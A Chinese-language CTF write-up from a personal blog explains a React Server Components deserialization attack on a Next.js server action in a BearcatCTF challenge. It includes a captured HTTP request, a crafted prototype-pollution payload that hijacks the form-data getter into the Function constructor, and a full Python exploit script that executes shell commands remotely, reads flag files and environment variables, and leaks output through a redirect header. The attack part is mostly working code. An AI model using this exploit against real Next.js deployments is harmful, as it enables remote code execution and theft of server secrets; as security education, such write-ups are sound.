655 字
3 分钟
来自bearcatctf国际赛的小小RSC反序列
来自bearcatctf国际赛的小小RSC反序列
在bearcatctf国际赛上又一次撞见了RSC反序列,这次没有waf,这样可以直接进行原型链。
上次aliyun做的题把原型链全ban了,这次的轻松多了
不太像放图片,我就直接口述吧
先放放请求包格式
POST / HTTP/1.1Host: chal.bearcatctf.io:38270Content-Length: 471Next-Action: 3fee78e8995a129cd1c598459b0203a43f700478User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36Accept: text/x-componentContent-Type: multipart/form-data; boundary=----WebKitFormBoundary2wGJp2c6AKkFYaS3Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2C%22%2F%22%2C%22refresh%22%5D%7D%2Cnull%2Cnull%2Ctrue%5DOrigin: http://chal.bearcatctf.io:38270Referer: http://chal.bearcatctf.io:38270/Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en-US;q=0.7,en;q=0.6Cookie: userId=016e358a-dc59-4b22-8711-416cc1ab3a6cConnection: keep-alive
------WebKitFormBoundary2wGJp2c6AKkFYaS3Content-Disposition: form-data; name="1_$ACTION_ID_3fee78e8995a129cd1c598459b0203a43f700478"
------WebKitFormBoundary2wGJp2c6AKkFYaS3Content-Disposition: form-data; name="1_title"
s------WebKitFormBoundary2wGJp2c6AKkFYaS3Content-Disposition: form-data; name="1_content"
s------WebKitFormBoundary2wGJp2c6AKkFYaS3Content-Disposition: form-data; name="0"
["$K1"]------WebKitFormBoundary2wGJp2c6AKkFYaS3--next-action的解码上次已经完整走过一次了,只要注意下细节就好了
同样的首先还是要注意chunk块头的解析,也就是以下的规则
0 = 那串json 1 = ”$@0” 这时0会被当成对象去进行解析,直接看看chunk块
{ "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": '{"then":"$B0"}', "_response": { "_prefix": JS, "_formData": {"get": "$1:constructor:constructor"}, },}这里的then拿到真实object的then方法,status不多说,详情请见我的CVE-2025-55182深度解析
解析value的默认规则贴一下。
case "B": return ( (obj = parseInt(value.slice(2), 16)), response._formData.get(response._prefix + obj) );这里是return response._formData.get(response._prefix + obj)然后obj是0,上文不放出了。
而formdata的get方法已经被劫持了,
$1:constructor:constructor成了function,所以它默认接收function,然后_prefix被改写成了恶意js,然后就执行了系统命令
贴一贴脚本
import base64, json, re, requests
HOST = "http://chal.bearcatctf.io:38270"ACTION = "3fee78e8995a129cd1c598459b0203a43f700478"COOKIES = {"userId": "016e358a-dc59-4b22-8711-416cc1ab3a6c"}ROUTER_STATE = "%5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2C%22%2F%22%2C%22refresh%22%5D%7D%2Cnull%2Cnull%2Ctrue%5D"
HEADERS = { "Accept": "text/x-component", "Next-Action": ACTION, "Next-Router-State-Tree": ROUTER_STATE, "Origin": HOST, "Referer": HOST + "/",}
def make_js(cmd: str) -> str: cmd = cmd.replace("\\", "\\\\").replace("'", "\\'") return f"""var cp = process.mainModule.require('child_process');var out = cp.execSync("sh -lc '{cmd}' 2>&1").toString();var b = Buffer.from(out,'utf8').toString('base64');throw Object.assign(new Error('NEXT_REDIRECT'),{{ digest:'NEXT_REDIRECT;push;/?b='+b+';307;'}});""".strip()
def exploit(cmd: str): JS = make_js(cmd) + "//" # 末尾注释吃掉拼接的 0 crafted_chunk = { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": '{"then":"$B0"}', "_response": { "_prefix": JS, "_formData": {"get": "$1:constructor:constructor"}, }, }
files = { f"1_$ACTION_ID_{ACTION}": (None, ""), "0": (None, json.dumps(crafted_chunk)), "1": (None, '"$@0"'), }
r = requests.post(HOST + "/", headers=HEADERS, cookies=COOKIES, files=files, timeout=15) text = r.text
m = re.search(r"/\?b=([A-Za-z0-9+/=]+);307;", text) if not m: print("[-] no base64 leak found. status =", r.status_code) print(text[:1200]) return None
out = base64.b64decode(m.group(1)).decode("utf-8", errors="replace") print("status =", r.status_code) print(out) return out
if __name__ == "__main__": # 先确认执行环境 exploit("cat /app/flag.txt")
# 1) 先看环境变量里有没有 FLAG exploit("echo \"FLAG=$FLAG\"; env | grep -i flag || true")
# 2) 枚举常见目录 exploit("ls -la /; ls -la /app 2>/dev/null || true; ls -la /srv 2>/dev/null || true; ls -la /home 2>/dev/null || true")
# 3) 直接搜 flag 文件(限制深度 + head 防止太慢) exploit("find / -maxdepth 4 -type f -iname '*flag*' 2>/dev/null | head -n 50")其实我个人觉得对于初学者来说,RSC牵扯出了很多js的底层知识,还是需要补充的。
就这样吧。
以上~~~
来自bearcatctf国际赛的小小RSC反序列
https://steins-gate.cn/posts/rsc反序列1/ 部分信息可能已经过时





